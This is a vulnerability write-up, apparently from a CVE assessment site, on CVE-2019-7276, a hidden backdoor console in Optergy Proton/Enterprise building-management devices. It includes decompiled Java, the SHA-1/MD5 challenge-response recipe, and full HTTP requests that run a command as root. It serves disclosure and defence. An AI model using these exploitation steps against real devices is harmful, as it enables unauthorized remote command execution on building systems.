Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2019-7276

Disclosure Date: July 01, 2019
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.

Add Assessment

2
Ratings
Technical Analysis

Backdoors

Since the dawn of our computing era, we have seen backdoors added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors.
The more or less official definition of a backdoor can be found at wikipedia and defines it as:

A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.

Backdoors can vary from a simple hard coded user / password combination to sophisticated rootkits, object code backdoors, asymmetric backdoors and compiler backdoors which are quite well explained in the article.

Reasons to install backdoors are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn thing and starts using it for different reasons.

The example below shows a pretty sophisticated undocumented backdoor in the Optergy building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic a.k.a. LiquidWorm.

During the review a backdoor script called Console.jsp located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/ was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec resulted in errors. Clicking the Get button ConsoleResult.html?get returns a JSON response message:

{"response":{"message":"1679481930381"}}

The question now is to satisfy this challenge response to successfully execute commands.

And after de-compiling the ConsoleResult.class java bytecode it revealed how this developer backdoor console actually works.

Lines 065, 066, and 067 of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get AJAX request. This challenge is used to generate a SHA-1 hash and then generate an MD5 hash from the SHA-1 hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.

With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1

Challenge: 1679481930381
SHA1: 6c2ba45326f687498923413420c890ebf5b7602c
MD5 of SHA1: 421dc80c2bea0c3710679605a6159162
Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162

Decompiled ConsoleResult.class

ConsoleResult.class:
032: public class ConsoleResult
033: implements ActionBean, ValidationErrorHandler
034: {
035: private ActionBeanContext context;
036: @Validate(required=true, on={"execute"}, minlength=1)
037: private String command;
038: @Validate(required=true, on={"execute"}, minlength=1)
039: private String challenge;
040: @Validate(required=true, on={"execute"}, minlength=1)
041: private String answer;
042: private final Object lock;
043:
044: public ConsoleResult()
045: {
046: lock = new ConsoleResult.Lock(null);
047: }
048:
049:
050:
051:
052:
053:
054: @DefaultHandler
055: public Resolution execute()
056: {
057: long l1 = 1500L;
058: ServletContext localServletContext = getContext().getServletContext();
059: List localList = (List)localServletContext.getAttribute("challengeList");
060:
061: long l2 = Long.parseLong(challenge);
062: if ((localList != null) && (localList.contains(Long.valueOf(l2))))
063: {
064: localList.remove(Long.valueOf(l2));
065: String str1 = Util.makeSHA1Hash(Long.toString(l2));
066: String str2 = Util.makeMD5Hash(str1);
067: String str3 = str1 + str2;
068:
069: if (!str3.equals(answer))
070: {
071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer"));
072: }
073:
074: String str4 = "";
075: ProcessStreamReader localProcessStreamReader = null;
076: try
077: {
078: String[] arrayOfString = command.split("\\ ");
079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString);
080: localProcessBuilder.redirectErrorStream(true);
081: Process localProcess = localProcessBuilder.start();
082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess);
083:
084: localProcessWrapper.start();
085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream());
086: localProcessStreamReader.start();
087: try
088: {
089: localProcessWrapper.join(l1);
090: localProcessStreamReader.join(l1);
091: }
092: catch (InterruptedException localInterruptedException)
093: {
094: localInterruptedException.printStackTrace();
095: localProcessWrapper.interrupt();
096: }
097: }
098: catch (Exception localException)
099: {
100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command"));
101: }
102:
103:
104: str4 = localProcessStreamReader.getString();
105:
106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4);
107: return new JSONResolution(localJSONObject);
108: }
109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge"));
110: }
111:
112: public Resolution get()
113: {
114: ServletContext localServletContext = getContext().getServletContext();
115: Object localObject = (List)localServletContext.getAttribute("challengeList");
116: if (localObject == null) {
117: localObject = new ArrayList();
118: }
119: long l = System.currentTimeMillis();
120: ((List)localObject).add(Long.valueOf(l));
121:
122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject);
123:
124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l));
125: return new JSONResolution(localJSONObject);
126: }

The Burp output below shows exactly what happens under the cover.

Click Get button to get the challenge value

POST /tools/ajax/ConsoleResult.html?get HTTP/1.1
Host: 192.168.201.31
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

Response is a JSON message with the challenge value

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 40
Date: Wed, 22 Mar 2023 10:45:30 GMT
Connection: close

{
  "response": {
     "message":"1679481930381"
   }
}

Now use the SHA1/MD5 recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.

Execute the whoami command

POST /tools/ajax/ConsoleResult.html HTTP/1.1
Host: 192.168.201.31
Content-Length: 119
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

&command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162

Response is a JSON message with the command output of whoami

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 38
Date: Wed, 22 Mar 2023 10:49:56 GMT
Connection: close

{
"response":{
   "message":"optergy\r\n"
   }
}

The above example shows once more that even sophisticated backdoors can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors in your application code.

Mitigation

All Optergy Proton / Enterprise versions 2.3.0a and below are vulnerable.
Unfortunate like most IoT type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT devices still remains a challenge for a lot of companies out there :–(

Please upgrade to the subsequent versions to mitigate this vulnerability.

I could not resist the temptation to create a Metasploit module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit is completed.

References

CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit module
Metasploit Development h00die-gr3y

Credits

Credits goes to Gjoko Krstic a.k.a. LiquidWorm who discovered this vulnerability.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • optergy

Products

  • enterprise,
  • proton

Additional Info

Technical Analysis